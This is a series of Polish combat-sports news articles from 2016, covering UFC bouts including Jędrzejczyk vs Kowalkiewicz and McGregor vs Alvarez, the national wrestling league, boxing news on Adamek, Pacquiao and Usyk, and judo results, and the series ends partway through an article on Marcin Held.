Na zażywaniu niedozwolonych substancji przyłapano również takie gwiazdy UFC jak Anderson Silva czy Nick Diaz. W tym roku na światło dzienne wyszły problemy z dopingiem: Konstantina Eokhina, Abdula Kerina Edilova, Brocka Lesnara czy Chada Mendesa.

W 2014 roku na dziewięć miesięcy został zawieszony Piotr Hallmann.

KM

Piotrków i Racibórz idą „łeb w łeb”

Krajowa Liga Zapaśnicza rozkręca się. Rywalizacja wystartowała 2 listopada, do tej pory odbyły się 3. kolejki. Najlepszy start zanotowały AKS Wrestling Team Piotrków Trybunalski i Unia Racibórz.

O powstaniu ligi zapaśniczej mówiło się od dłuższego czasu. Projekt nabierał kształtu aż w końcu wyklarował się. W 2015 roku podpisano umowę, która zakładała, że liga wystartuje po zakończeniu igrzysk olimpijskich w Rio de Janeiro. Początkowo przewidywano uczestnictwo ośmiu klubów, jednak ostatecznie na starcie pojawiło się sześć ekip.

Mieszkanka wybuchowa

Krajowa Liga Zapaśnicza ma na celu promocję dyscypliny oraz zwiększenie sportowej rywalizacji i podniesienie poziomu zawodników. Warto podkreślić, że jest to pierwsza tego typu inicjatywa, w której można zobaczyć zmagania w zapasach kobiet, stylu wolnym oraz stylu klasycznym mężczyzn.

Jak z procy rywalizację rozpoczął zespół AKS Wrestling Team Piotrków Trybunalski, który w pierwszym spotkaniu pokonał WKS Grunwald Poznań. Po trzech kolejkach widać, że siłą piotrkowskiej drużyny są panie. Tylko Selishka Miglena zapisała na swoim koncie jedną porażkę. W starciu z Grunwaldem lepsza okazała się od niej utytułowana Iwona Matkowska. Wspomniana Selishka, Roksana Zasina i Taybe Yusein tworzą mocną paczkę. W spotkaniach z AKS Białogard i AZS Supra Brokers Wrocław zapaśniczki z Piotrkowa okazały się bezkonkurencyjne. 

W 2. kolejce starcie „AKS-ów” było niezwykle zacięte. Do samego końca wynik był sprawą niewiadomą. Styl wolny dla wrocławian, rywalizacja pań dla Piotrkowa i o wszystkim zadecydowali klasycy. Michał Król i Radosław Grzybicki triumfowali, przegrał tylko Mateusz Bernatek. Piotrków pokonał Białogard 6:4. Z kolei w 3. kolejce AKS rozbił zespół z Wrocławia 8:1.

Zespół z Białogardu stoczył trzy zacięte boje, jednak wygrał tylko raz. W 1. kolejce AKS pokonał 5:4 AZS AWF Warszawa. Później przegrał z Piotrkowem i do ostatnich chwil rywalizował z Unią Racibórz, która może pochwalić się kompletem zwycięstw. W małych punktach przegrywa jednak rywalizację z AKS-em.

Bez punktów pozostają AZS AWF Warszawa i AZ Supra Brokers Wrocław.

Emocji nie brakuje

Zaciętych ligowych bojów nie brakuje. W 3. kolejce na wyróżnienie zasłużyło starcie w kategorii 97kg w stylu wolnym pomiędzy Sebastianem Jezierzańskim (Unia Racibórz) a Zbigniewem Baranowskim (AKS Białogard). Zapaśnicy ani przez chwilę nie ustępowali, byli czujni i dokładni. Wygrał olimpijczyk Baranowski. Mocnym punktem Białogardu jest mistrz Europy Magomedmurad Gadżyjew.

Kolejne spotkania odbędą się już 23 listopada. Tegoroczne zmagania zakończą się 30 listopada, kiedy dojdzie do arcyciekawego spotkania. O pozycję lidera na półmetku powalczą AKS Wrestling Team Piotrków Trybunalski i Unia Racibórz. Potem nastąpi przerwa zimowa. Na ligowe zapasy będziemy musieli czekać dwa miesiące. Następne spotkania zaplanowano na 25 stycznia.

KM

Szykuje się kolejny powrót?

Tęsknota rodzi smutek, który ciężko przezwyciężyć. Okazuje się, że niełatwo za sobą zamknąć pewien rozdział życia. Czy Tomasz Adamek wróci na ring?

Spekulacji na ten temat jest coraz więcej. Niedawno w programie „Puncher” w Polsacie „Góral” zadeklarował, że chciałby ponownie wejść do ringu. Od razu pojawiły się spekulacje o powrocie pięściarza urodzonego w Żywcu na bokserskie salony.

Źle na emeryturze

Niektórzy odliczają lata, miesiące, dni do osiągnięcia wieku emerytalnego. Liczą, że w końcu będą mieli okazję odpocząć i skorzystać z życia. Los sportowca rządzi się swoimi prawami. Wielu chce rywalizować jak najdłużej, ale czasami zdrowie nie dopisuje, forma już nie ta i decydują się odejść. Niektórzy zaskakują swoimi decyzjami, a inni przygotowują publikę na zakończenie kariery.

„Ciągnie wilka do lasu”. Trudno wytrzymać bez rywalizacji, więc „emeryci” często podnoszą się z fotela i wracają na ring. W tym roku przygodę z boksem zakończył Albert Sosnowski. „Dragon” pokonał w drugiej rundzie Andrasa Csomora podczas marcowej gali w Żyrardowie. Spokojnie, nikomu nic się nie przywidziało. 37-latek wystąpił we wrześniu na gali w Gdańsku. Postanowił wrócić i zmierzyć się z Andrzejem Wawrzykiem. Były mistrz Europy w wadze ciężkiej poddał się po piątej rundzie. Za to z przytupem wrócił Manny Pacquiao. 5 listopada Filipińczyk pokonał Jessiego Vargasa i wywalczył pas mistrza świata WBO kategorii półśredniej. Teraz czeka na kolejnego rywala, choć kwietniowa walka z Timothy'm Bradley'em miała być uwieńczeniem jego kariery. Ponoć „tylko krowa nie zmienia zdania”. 

Czy na taki krok zdecyduje się Tomasz Adamek? Przed kwietniowym starciem z Ericem Moliną „Góral” zapowiadał, że w przypadku porażki pożegna się z boksem. Amerykanin wygrał przed czasem w dziesiątej rundzie. Minęło kilka miesięcy i Adamek coraz śmielej mówi, że brakuje mu treningów i ringu. Szczegóły sprawy nie są znane. Nie wiadomo, kiedy i z kim miałby walczyć 40-latek. Trzeba cierpliwie czekać na rozwój wydarzeń.

Dał nam wiele radości

„Góral” to jeden z najlepszych polskich bokserów ostatnich lat. Kariera Adamka na zakręcie znalazła się po porażce z Arturem Szpilką. Walka była określana jako pojedynek o prymat w polskiej wadze ciężkiej. „Szpila” odsunął Adamka w cień, który później pokonał jeszcze Przemysława Saletę i poległ ze wspomnianym Moliną.

Jednak przez lata bokser z Żywca dawał polskim miłośnikom boksu wiele emocji. Wszyscy pamiętają zacięte boje z Paulem Briggsem, których stawką był tytuł WBC wagi półciężkiej. Na swoim koncie polski pięściarz zapisał pasy IBO i IBF kategorii juniorciężkiej. Próbował sił w wadze ciężkiej, gdzie dotarł do walki o pas WBC. Nie wytrzymał trudów walki z Witalijem Kliczko i poległ w dziesiątej rundzie. Wygrał 50 walki. Czy dołoży triumf numer 51?

KM

Nishida zakończyła karierę

„Trzeba wiedzieć, kiedy ze sceny zejść”. Jedni odciągają ten moment w nieskończoność, a inni zaskakują swoją decyzją. 30-letnia judoczka Yuka Nishida postanowiła zakończyć karierę.

Japonka ma za sobą bogatą karierę. Przez lata utrzymała się w czołówce kategorii 52kg. 

Rodzinne tradycje

Yuka Nishida ma judo we krwi. Jej ojciec, Takahiro, największe sukcesy odnosił w latach 70. W 1976 roku triumfował w mistrzostwach świata juniorów, a w 1981 roku wygrał prestiżowy turniej w Paryżu. Co ciekawe, Nishida zajął siódme miejsce podczas mistrzostw świata w Seulu. W Korei po brązowy medal sięgnął Wiesław Błach.

30-letnia Yuka Nishida może pochwalić się zdecydowanie większymi osiągnięciami niż ojciec. W 2010 roku Japonka sięgnęła gwiazd, kiedy to wywalczyła złoty medal mistrzostw świata. Rok później była o krok od powtórzenia sukcesu, jednak rywalizację w Paryżu zakończyła ze srebrnym medalem. Na swoim koncie zapisała również brąz mistrzostw świata, który zdobyła w 2007 roku.

Szczyt formy Nishidy przypadał na latach 2010-2012. Wtedy była jedną z najgroźniejszych zawodniczek kategorii 52kg na świecie, co potwierdzają medale mistrzostw świata. W międzynarodowych startach nie miała sobie równych i w kolejnych zawodach zajmowała czołowe lokaty. W 2010 triumfowała w Grand Slamach w Moskwie i w Tokio, a także w Pucharze Świata w Ułan Bator. Zapisała na swoim koncie również trzy medale prestiżowych zawodów Masters. Czterokrotnie wygrywała zawody Grand Slam, dwukrotnie Grand Prix. Dominowała również na kontynencie azjatyckim. W 2011 i 2012 roku była bezkonkurencyjna podczas mistrzowskich zmagań. 

Później wiodło jej się różnie. Coraz rzadziej pojawiała się na arenie międzynarodowej. W 2015 roku Nishida sięgnęła po brązowy medali mistrzostw Azji. Wygrała również zawody Grand Prix w Qingdao. Do końca walczyła o kwalifikację olimpijską, aby wystartować w Rio de Janeiro. Nie udało się. Nishida nie spełniła marzenia o starcie na igrzyskach olimpijskich. 

W ostatnim występie nie przebrnęła nawet eliminacji. Już na starcie japońskiego turnieju Kodokan Cup 30-latka pożegnała się z rywalizacją. Yuka Nishida podjęła decyzję o zakończeniu bogatej kariery, w której do pełni szczęścia zabrakło jej tylko medalu olimpijskiego.

Kolejna z wielkich

Judo jest ściśle związane z japońską kulturą, więc zawodnicy z Kraju Kwitnącej Wiśni należą do najlepszych na świecie. Jedni kończą bogate kariery, ale na ich miejsce pojawiają się nowe gwiazdy.

W ostatnim czasie decyzję o zakończeniu kariery podjęła Haruna Asami (48kg). 28-letnia zawodniczka wywalczyła cztery medale mistrzostw świata, w tym dwa złote. W wieku 30 lat z tatami pożegnał się mistrz świata z Tokio z 2010 roku Hiroyuki Akimoto. Japończyk najpierw rywalizował w kategorii 66kg, a następnie w 73kg.

Fot. judobase.org

KM

Co z przyszłością Pacquiao?

W kwietniu Manny Pacquiao miał stoczyć ostatnią walkę. Filipińczyk pokonał Timothy'ego Bradleya i odszedł na sportową emeryturę. Po siedmiu miesiącach ponownie zameldował się w ringu. Wygrał i czeka na kolejny pojedynek. Z kim zmierzy się popularny „Pacman”?

Wszyscy pamiętają najdroższy pojedynek w historii boksu. 2 maja 2015 roku Pacquiao zmierzył się z Floydem Mayweatherem Jr. Lepszy okazał się Amerykanin, a Filipińczyk porażkę tłumaczył kontuzją barku. Przewijał się temat rewanżu, jednak obaj bokserzy zakończyli kariery. Pacquiao wrócił…

Wielki rewanż?

Po starciu z Mayweatherem, Pacquiao przeszedł operację i dochodził do pełnej sprawności. Kolejny pojedynek stoczył blisko rok po spotkaiu z „Moneyem”. „Pacman” stanął naprzeciw Bradleya. Było to trzecie spotkanie pięściarzy i decydujące o tym, który jest lepszy. Triumfował „Pacman” i powiedział „dość”. Zdecydował, że dalej będzie realizował się w polityce. Zdobył mandat senatorski, aby działać na rzecz dobra wspólnego i rozwoju Filipin. W garniturze wyglądał dobrze, ale brakowało mu ringu. W końcu zapadła decyzja i 37-latek wrócił do sportowej rywalizacji. 

5 listopada wszedł do ringu z Jessim Vargasem. Ani przez chwilę nie było różnicy wieku, która wynosi 10 lat. Już w drugiej rundzie Meksykanin leżał na deskach, jednak do końca ambitnie walczył. Decyzją sędziów triumfował Pacquiao.

37-letni Filipińczyk wywalczył tytuł mistrza świata WBO wagi półśredniej. To kolejny pas w bogatej karierze Pacquiao, który święcił triumfy m.in. w wadze muszej i lekkiej. Powrót Pacquiao zrodził wiele pytań, a wygrana z Vargasem jeszcze więcej. Przede wszystkim o kolejnego rywala i kształt dalszej przygody „Pacmana” z boksem. Nie da się ukryć, że ponownie odżywają głosy o rewanżu z Mayweatherem. Jednak „Money” po 49. wygranych walkach na zawodowym ringu pożegnał się z boksem. W ostatnim pojedynku pokonał Andre Berto.

Trudno oceniać realność kolejnego starcia Pacquiao z Mayweatherem, choć na obecną chwilę wydaje się ono niemożliwe. Chyba, że na stole pojawi się ogromna suma, które pobije wszystkie rekordy. Bez wątpienia pojedynek bokserskich mistrzów sprzedałby się bez problemu. Warto pamiętać, że panowie są coraz starsi. Racja – mogą być jak wino, ale szczyt formy mają raczej za sobą.

Będzie Broner?

Kandydatem do rywalizacji z Pacquiao jest Adrien Broner. 27-latek urodzony w Cincinnati miał już na swoim koncie pasy WBO w kategorii junior lekkiej i WBC w lekkiej. W ostatnim starciu pokonał Ashleya Theophane'a, co pozwoliło mu wywalczyć tytuł WBA w wadze super lekkiej. Broner ma już w planach kolejną walkę. W lutym będzie rywalizował z Adrianem Granadosem.

27-latek ma spore doświadczenie. Stoczył już 34 pojedynki, z których 24 wygrał przed czasem. Zapisał na swoim koncie także dwie porażki. Walka Pacquiao vs Broner również wyglądałaby ciekawie i rodziłaby spore zainteresowanie.

KM

Polskie starcie dla Jędrzejczyk

Pas UFC w kategorii słomkowej nadal w rękach Joanny Jędrzejczyk. Karolina Kowalkiewicz była żądna zwycięstwa i postawiła trudne warunki mistrzyni. Pięć emocjonujących rund sędziowie ocenili na korzyść Jędrzejczyk.

Przed pojedynkiem niektórzy spisywali Kowalkiewicz na straty i wieścili, że 29-latka z Olsztyna ją pożre. Była mistrzyni KSW chciała spełnić marzenia i walczyła jak „równy z równym” z Jędrzejczyk.

Starcie z charakterem

Pojedynek o najwyższą stawkę zrodził ogromne emocje, zwłaszcza w polskich domach. Wszyscy z niecierpliwością oczekiwali na święto MMA. Dobra postawa Kowalkiewicz zaowocowała tym, że po trzech zwycięskich walkach w UFC dostąpiła walki o pas. Od początku łodzianka chciała pokazać, iż zasłużyła na ten pojedynek. Pierwsza runda wyrównana, choć mistrzyni zadała kilka celnych ciosów. Kowalkiewicz szukała klinczu, jednak Jędrzejczyk skutecznie się uwolniła.

W drugiej rundzie była mistrzyni KSW postanowiła niepokoić rywalkę. Jędrzejczyk walczyła spokojnie, ale punktowała Kowalkiewicz. Stosowała niskie kopnięcia, które miały zgasić zapędy łodzianki. Kowalkiewicz ruszyła po sprowadzenie, jednak bezskutecznie. Jędrzejczyk kontrolowała sytuację i nie pozwoliła rywalce rozwinąć skrzydeł, choć ta bardzo chciała. Trzecia runda miała podobny przebieg jak poprzednie. Kowalkiewicz starała się zbliżyć do Jędrzejczyk, jednak ta postawiła na wymiany w stójce. Mistrzyni imponowała precyzją. 

Czwarta odsłona mogła być przełomowa. 31-letnia Kowalkiewicz stanęła przed ogromną szansą na pokonanie Jędrzejczyk. Mistrzyni UFC znalazła się w trudnym położeniu po jednej z kombinacji. Posiadaczka pasa w kategorii słomkowej była oszołomiona, co starała się wykorzystać Kowalkiewicz. Słała w stronę rywalki kolejne ciosy, a Jędrzejczyk opadała z sił. Łodzianka poczuła, że może sięgnąć po pas. Ostatnia runda nie była już tak szybka i energiczna jak poprzednia. Jędrzejczyk starała się rozegrać ją spokojnie, a Kowalkiewicz była zmęczona. Pod koniec rundy mistrzyni zadała kilka mocnych łokci. 

Stoczyły morderczy i emocjonujący bój. Jędrzejczyk starała się wykorzystać swoje doświadczenie i mądrze dysponować siłami. Z kolei dla Kowalkiewicz nadszedł moment, w którym mogła zaprezentować swój repertuar. Ostatecznie sędziowie byli zgodni i wszyscy punktowali 49:46 na korzyść Jędrzejczyk.

Drugi pas Conora

Conor McGregor tworzy nową historię! Irlandczyk pokonał Eddiego Alvareza i wywalczył drugi pas UFC.

McGregor był głodny kolejnego tytułu i od razu ruszył na rywala. Lewy sierpowy powalił Amerykanina na deski, jednak mistrz nie dawał za wygraną. Wstał i walczył, ale ograniczał się do obrony przed szalejącym McGregorem. W drugiej rundzie Alvarez szukał obalenia, jednak Irlandczyk nie pozwolił sprowadzić walki do parteru. Potężny sierp i Amerykanin znalazł się na deskach. McGregor mistrzem wagi lekkiej! Irlandczyk ma na swoim koncie także tytuł w wadze piórkowej, który wywalczył pokonując Jose Aldo.

W kategorii półśredniej Tyron Woodley bronił tytułu w starciu ze Stephenem Thompsonem. Pięciorundowy pojedynek zakończył się remisem. W związku z tym pas pozostał w rękach Woodleya. 

Yoel Romero lepszy od Chrisa Weidmana. W trzeciej rundzie Kubańczyk potraktował rywala kolanem w głowę i dobił ciosami. Była mistrzyni w kategorii koguciej Miesha Tate przegrała na punkty z Raquel Pennington. Z kolei Frankie Edgad okazał się lepszy od Jeremy'ego Stephensa.

fot. sherdog.com

KM

Młodzież bez medalu

Młodzieżowe Mistrzostwa Europy U-23 w Tel Avivie w judo pod dyktando Rosjan. Polakom nie udało się wywalczyć żadnego medalu.

Do Izraela pojechała dwunastoosobowa kadra, w której nie brakowało zawodników notujących w tym roku dobre występy. Wystarczy zwrócić uwagę na Piotra Kuczerę (90kg). 21-latek z Rybnika w tegorocznych mistrzostwach Europy seniorów sięgnął po brąz. W Tel Avivie sukcesu nie udało się powtórzyć.

Panie były blisko

Po starcie Kuczery obiecywano sobie wiele. Zwłaszcza, że we wrześniu potwierdził formę trzecim miejscu wywalczonym w Grand Prix w Zagrzebiu. Na jego korzyść przemawiało również 37. miejsce w światowym rankingu. Jednak w Tel Avivie Polak przepadł już w pierwszej rundzie. Jego rywalem był Mihael Zgank, który szukał swojej szansy i w końcu ją znalazł. Słoweniec zapisał na swoim koncie trzy shido, ale przeprowadził akcję punktowaną jako yuko i mógł cieszyć się ze zwycięstwa.

Rok temu w Bratysławie po brązowy medal młodzieżowych mistrzostw Europy sięgnęła Anna Borowska (57kg). Tym razem Polka przepadła już w pierwszej walce. Borowska przegrała z Adi Grossman jedną karą shido. Szybko z rywalizacją pożegnała się Urszula Hofman (70kg). 21-latka jechała do Tel Avivu jako brązowa medalistka poprzednich mistrzostw, ale tym razem już w pierwszej walce trafiła na dobrze dysponowaną rywalkę. Elisavet Teltsidou w niecałą minutę rozstrzygnęła pojedynek na swoją korzyść. Ostatecznie Greczynka w Izraelu sięgnęła po brązowy medal.

Nieco lepiej wypadła Beata Pacut (78kg), która w ubiegłym roku w Bratysławie zajęła trzecie miejsce. Start w Tel Avivie zakończyła na siódmej pozycji. Zwyciężczyni tegorocznego Pucharu Świata w Warszawie zmagania w młodzieżowych mistrzostwach Europy zaczęła od wygranej z Rumunką Alexandrą Mazilu. W kolejnym starciu lepsza okazała się Anastasiya Turchyn, która w Izraelu sięgnęła po złoto. Pojedynek repasażowy to liczne próby Pacut, która zapisała na swoim koncie trzy kary shido i walnie przyczyniła się do wygranej Włoszki Giorgii Stangherlin.

Najlepsze wyniki spośród naszych reprezentantów zanotowały Paula Kulaga (78kg) oraz Anna Załęczna (+78kg), które w swoich kategoriach zajęły piąte lokaty. Pierwsza wygrała dwie walki i w półfinale zatrzymała ją Antonina Shmeleva. Kulaga walczyła o brąz z Stangherlin, która wcześniej pokonała Beatę Pacut. Włoszka miała metodę na Polki. Obie przegrały… karami shido. Załęczna zaczęła od wygranej z Michelle Boyle, jednak w kolejnym starciu lepsza okazała się Ivana Sutalo. Ostatecznie Chorwatka triumfowała w Tel Avivie. W repasażach yuko dało zwycięstwo Załęcznej i walkę o brąz. Medal Polce sprzątnęła Jodie Myers.

Pod dyktando Rosji

Rosjanie brylowali w Tel Avivie, choć wywalczyli dwa złote medale, tak jak Ukraińcy i Grecy. Z tym, że reprezentanci Sbornej łącznie zdobyli dziesięć krążków. Z kolei Ukraińcy sięgnęli po trzy, a Gruzini po dwa medale.

W młodzieżowych mistrzostwach Europy U-23 wystartowało 321 judoków.

KM

Trump obejrzy polską wojnę?

W ostatnich dniach cały świat żył rywalizacją o fotel prezydenta Stanów Zjednoczonych Ameryki. Wybory wygrał kontrowersyjny Donald Trump, który w wyścigu do Białego Domu pokonał Hillary Clinton. W nocy z 12 na 13 listopada w Nowym Jorku może być jednym z widzów gali UFC 205, podczas której o pas w kategorii słomkowej zmierzą się Joanna Jędrzejczyk i Karolina Kowalkiewicz.

Szykuje się emocjonujące widowisko. Poziom sportowy będzie gwarantowany przez czołowych zawodników UFC takich jak Conor McGregor, Donald Cerrone czy Chris Weidman. Właściciel najlepszej organizacji MMA na świecie zdradził, że galę może uświetnić obecność 45. prezydenta USA.

Może się pojawi

Dan White doskonale zna Trumpa, który swego czas pozwolił na organizację gali UFC w kasynie Atlantic City. Wtedy MMA było jeszcze dość anonimowe, a między panami narodziły się dobre relacje. Minęło kilkanaście lat i wszystko uległo zmianie. UFC i Trump są w zupełnie różnych miejscach, ale zdecydowanie są to zmiany in plus. 

W czwartek, 9 listopada, miliarder spotkał się w Nowym Jorku z Barackiem Obamą, którego zastąpi na prezydenckim stanowisku. Niewykluczone, że Trump zagości nieco dłużej w najludniejszym mieście USA. Szczegóły ujawnia Dan White. – Trump powiedział mi, że pojawi się na gali, jeżeli zostanie wybrany na prezydenta. Nie wiem, czy Donald wie dokładnie jakie obowiązki go czekają – przedstawia właściciel UFC. – Nie będę z nim przy telefonie każdego dnia. Mam nadzieję, że zrobi dużo dla naszego kraju – dodaje.

Obecność Trumpa nie wpłynie na poziom zainteresowania galą UFC 205. O ten zadbają zawodnicy. W Nowym Jorku dojdzie do trzech starć, których stawką będą pasy mistrzowskie.

Polskie marzenia

Miłośnicy MMA znad Wisły mogą być dumni. W Nowym Jorku zmierzą się dwie Polki, które powalczą o pas w kategorii słomkowej. Joanna Jędrzejczyk przebojem wdarła się do UFC i po dwóch zwycięskich walkach stanęła do rywalizacji o tytuł. Podczas gali UFC 185 w Dallas uporała się z Carlą Esparzą, którą zastopowała w drugiej rundzie. Dodatkowo otrzymała 50 tysięcy dolarów za występ wieczoru. W lipcu uporała się z Claudią Gadelhą (drugi raz w UFC) i po raz trzeci obroniła tytuł. Teraz zmierzy się ze swoją rodaczką. 

Najpierw Karolina Kowalkiewicz zdominowała żeńską rywalizację w KSW, a teraz chce podbić UFC, w której debiutowała blisko rok temu. Trzy zwycięskie walki okazały się przepustką do walki o pas mistrzowski. Jędrzejczyk jest mocna i skuteczna, z kolei o Kowalkiewicz to niewygodna rywalka. Zapowiada się biało-czerwone święto w Nowym Jorku. Jedno jest pewne – kategoria słomkowa pozostanie w polskich rękach.

W Nowym Jorku pasa w wadze średniej będzie bronił Tyron Woodley. 34-letni Amerykanin tytuł wywalczył na UFC 201, kiedy już w drugiej minucie znokautował Robbie'go Lawlera. Najbliższym rywalem Woodleya będzie Stephen Thompson, który wygrał siedem kolejnych walk. W czerwcu po pięciorundowym boju pokonał Rory'ego MacDonalda.

Wyjątkowe ma być starcie Eddie'go Alvareza z Conorem McGregorem. Stawką walki wieczoru ma być pas kategorii lekkiej. McGregor chce tworzyć nową historię. Irlandczyk ma już na swoim koncie pas w kategorii piórkowej i chce sięgnąć po kolejny. Alvarez tanio skóry nie sprzeda.

KM

Mistrzostwa Polski Muay Thai Starachowice 2016 – Zapowiedź

Zapraszamy na krotki film zapowiedź Mistrzostw Polski Muay Thai, które odbęda się w dniach 9-11 grudnia br. w Starachowicach. Organizatorami mistrzostw są Polski Związek Kickboxingu oraz klub Dragon Starachowice. Warto przypomnieć, że Mistrzostwa Polski Muay Thai odbęda sie po raz drugi w Starachowicach zatem spodziewać sie mozemy perfekcyjnej organizacji oraz wspaniałych walk.

[kod]

Usyk poznał rywala

W pierwszej obronie pasa mistrzowskiego WBO w wadze junior ciężkiej Ołeksandr Usyk spotka sie z Thabiso Mchunu. Pierwotnie ukraiński czempion miał rywalizować z Damirem Beljo.

29-latek wszedł na szczyt w wadze junior ciężkiej, ale teraz stanie przed kolejnym wyzwaniem. Stara prawda mówi, że na szczyt łatwiej wejść niż się na nim utrzymać. Pierwszy pojedynek w roli mistrza stoczy 17 grudnia.

Zagości poza Europą

Usyk wszedł na najwyższy poziom. Jeszcze niedawno był dobrze rokującym pięściarzem, który posiada ogromne umiejętności. Kawał potężnie zbudowanego chłopa budził respekt, jednak zwracano uwagę na nikłe doświadczenie zawodowe urodzonego w Symferopolu pięściarza. Usyk dostał szansę rywalizacji z Krzysztofem Głowackim o pas WBO w kategorii junior ciężkiej. Spotkało się dwóch mocnych pięściarzy. 

Wszyscy w pamięci mieli piekielnie trudny i pełen zwrotów akcji pojedynek „Główki” z Marco Huckiem, w którym Polak sięgnął po pas. Nikt się nie spodziewał, że Niemiec bośniackiego pochodzenia może stracić tytuł. A jednak! W przypadku rywalizacji z Głowackiego z Usykiem podejrzewano, że pas może zmienić właściciela.

Tak się stało 17 września w gdańskiej Ergo Arenie. Ukrainiec pokazał siłę, charakter oraz dojrzałość i wygrał jednogłośnie na punkty. Złoty medalista olimpijski z Londynu zapisał kolejną piękną kartę w karierze, ale musi potwierdzić, że zasługuje na pas. Najbliższe walki to zweryfikują. Teraz Usyk stanie się celem dla innych bokserów i będzie atakowany z każdej strony. Wydaje się, że jest odporny i twardy psychicznie.

Zaplanowana na 17 grudnia walka Usyka z Thabiso Mchunu odbędzie się w Inglewood. Dla Ukraińca będzie to pierwsze starcie w zawodowej karierze poza Europą. Wiadomo –  rywalizacja w Stanach to ogromny prestiż i zupełnie inne pieniądze. Usyk wdrapał się na pozycję gwiazdy. Z tronu postara się go zepchnąć Thabiso Mchunu.

Rywal mocny u siebie

28-letni bokser z Republiki Południowej Afryki stoczył 19 walk, z czego 17 wygrał. Na zawodowym ringu debiutował w 2007 roku. Dotychczas stoczył dwa pojedynki w Stanach Zjednoczonych i wykazał się stuprocentową skutecznością. O tych walkach warto pamiętać, bo Mchunu pokonał nie byle kogo. Najpierw uporał się z Eddie'm Chambersem, który swego czasu rywalizował z Władimirem Kliczko o prymat w wadze ciężkiej. W kolejnym starciu w USA pokonał Olanrewaju Durodolą, niedoszłego przeciwnika Krzysztofa Włodarczyka.

Pretendent do pasa WBO w maju wywalczył tymczasowy panafrykański pas WBA. Wcześniej Mchunu zdobywał tytuły krajowe, zapisał na swoim koncie także pas NABF. Ostatnią porażkę zanotował w maju 2015 roku, kiedy to przez nokaut przegrał z Ilungą Makabu.

Z pewnością Usyk będzie faworytem w pierwszej obronie tytułu, do której dojdzie 17 grudnia w Inglewood. Dla Mchunu możliwość walki o pas jest dużym wyróżnieniem. Pierwotnie ukraiński mistrz miał spotkać się z Damirem Beljo, jednak ten wycofał się z rywalizacji ze względu na niedyspozycję spowodowaną kontuzją nogi.

Ostatni pojedynek w karierze w Inglewood ma stoczyć Bernard Hopkins. Jego rywalem będzie Joe Smith Jr.

Fot. en.molbuk.ua

KM

Mistrzowskie wyzwanie młodzieży

Tel Aviv czeka na judoków, którzy wystartują w młodzieżowych mistrzostwach Europy U-23. Impreza odbędzie się w dniach 11-12 listopada. Polacy staną przed trudnym wyzwaniem. Muszą zmierzyć się z mocnymi rywalami i wynikiem z poprzedniego roku, kiedy sięgnęli po sześć medali.

Bratysława okazała się szczęśliwa dla biało-czerwonych. Pytanie, czy Polacy podtrzymają dobrą passę. Do Tel Avivu wybierają się trzy zawodniczki, które w ubiegłym roku wywalczyły medale podczas młodzieżowych mistrzostw Europy.

Powtórzyć sukces

Ponownie na podium stanąć będzie chciała Anna Borowska (57kg). Judoczka Polonii Rybnik w Bratysławie sięgnęła po brązowy medal. Z kolei w 2014 roku świętowała złoto podczas mistrzostw Europy juniorów. Borowska coraz śmielej przebija się w rywalizacji seniorskiej. Tegoroczne starty musi uznać za udane, gdyż w Pucharze Europy w Sarajewie zajęła 1. miejsca, a w Warszawie i Tallinie stanęła na najniższym stopniu podium.  Tak dobrych wyników nie ma Urszula Hofman, brązowa medalistka z Bratysławy. 21-latka judoczka w tym roku zaprezentowała się w Pucharze Europy w Tallinie, jednak odpadła już w pierwszej rundzie. 

Ostatnie dwa lata to owocny okres w karierze Beaty Pacut (78kg). Regularnie zajmowała miejsca w czołówce podczas występów w Pucharach Świata juniorów. W 2015 roku wywalczyła 5. miejsce na mistrzostwach świata juniorów i brąz podczas europejskiego czempionatu. Coraz lepiej prezentuje się na poziomie seniorskim. W lutym triumfowała podczas zmagań Pucharu Świata w Warszawie. Blisko podium była w Dubrovniku i Podcetrtek, gdzie zajmowała piąte miejsca. We wrześniu zdobyła brąz podczas Pucharu Europy w Tallinie.

Trzy ciekawe nazwiska, jednak każda z naszych judoczek jest na innym etapie. Hofman ma najmniej doświadczenia na poziomie seniorskim, ale w startach juniorskich radzi sobie dobrze. Pacut to 60. zawodniczka światowego rankingu w kategorii 78kg, a Anna Borowska jest 83. w 57kg.

Medal seniorski, czas na młodzieżowy

Piotr Kuczera (90kg) to bohater tegoroczny mistrzostw Europy seniorów w Kazaniu. 21-latek z Rybnika sięgnął po brązowy medal, co sprawiło, że znalazł się na ustach wszystkich. W Tel Avivie Kuczera ma potwierdzić swój potencjał. Pytanie, czy właściwie musi? Wystarczy przypomnieć, że w zeszłym roku zdobywał brązowe medale podczas mistrzostw Europy i świata. Polak jest mocny i poczyna sobie coraz śmielej. Bez wątpienia jest naszą medalową nadzieją podczas MME.

W Tel Avivie zaprezentuje się dwunastoosobowa kadra Polski. Oprócz Borowskiej, Hofman, Pacut, Kuczery zaprezentują się: Julia Kowalczyk (57kg), Sandra Lickun (70kg), Paula Kulaga (78kg), Anna Załęczna (+78kg), Adrian Wala (60kg), Patryk Wawrzyczek (66kg), Wiktor Mrówczyński (73kg) oraz Damian Stępień (81kg).

Fot. PZJudo

KM

Historia lubi się powtarzać

Marcin Held inaczej wyobrażał sobie debiut w UFC, ale mimo porażki, pozostawił po sobie dobre wrażenie. Początki zawsze są trudne. 24-latek podobnie zaczynał swoją przygodę z Bellatorem.

Zewsząd słychać, że Held to talent czystej wody, przed którym przyszłość usłana sukcesami stoi otworem. Zawodnik z Tych pokonuje kolejne szczeble kariery. Wybił się w Bellatorze, więc mógł trafić tylko w jedno miejsce – do oktagonu UFC.

Sanchez nie dał się

Diego Sanchez miał sprawdzić umiejętności debiutującego w najlepszej organizacji MMA na świecie Helda. 34-letni Amerykanin zna UFC niemalże z każdej strony. Sanchez i Held to dwa różne pokolenia. Amerykanin przygodę z UFC zaczął od programu The Ultimate Fighter. Dotarł do finału, w którym w pierwszej rundzie pokonał Kenny'ego Floriana. Dopiero trzy lata później Held zaprezentował się na gali Abak Moto. 

Sanchez to ciekawa postać. Toczył pojedynki w czterech kategoriach wagowych. W 2006 roku wykryto w jego organizmie marihuanę, co wiązało się z zawieszeniem na trzy miesiące. Najlepszy okres w karierze Sancheza to lata 2007-2009, które zwieńczyła walka o tytuł wagi lekkiej z B.J. Pennem. Popularny „The Nightmare” poległ i później popadł w przeciętność. Za porażkę z Joe Lauzonem zrehabilitował się w starciu z Heldem, które Polak rozpoczął z animuszem i ogromnymi chęciami na zwycięstwo. 24-latek zapiął rywalowi gilotynę w stójce, jednak ten wykorzystał siatkę i wyszedł z opresji. 

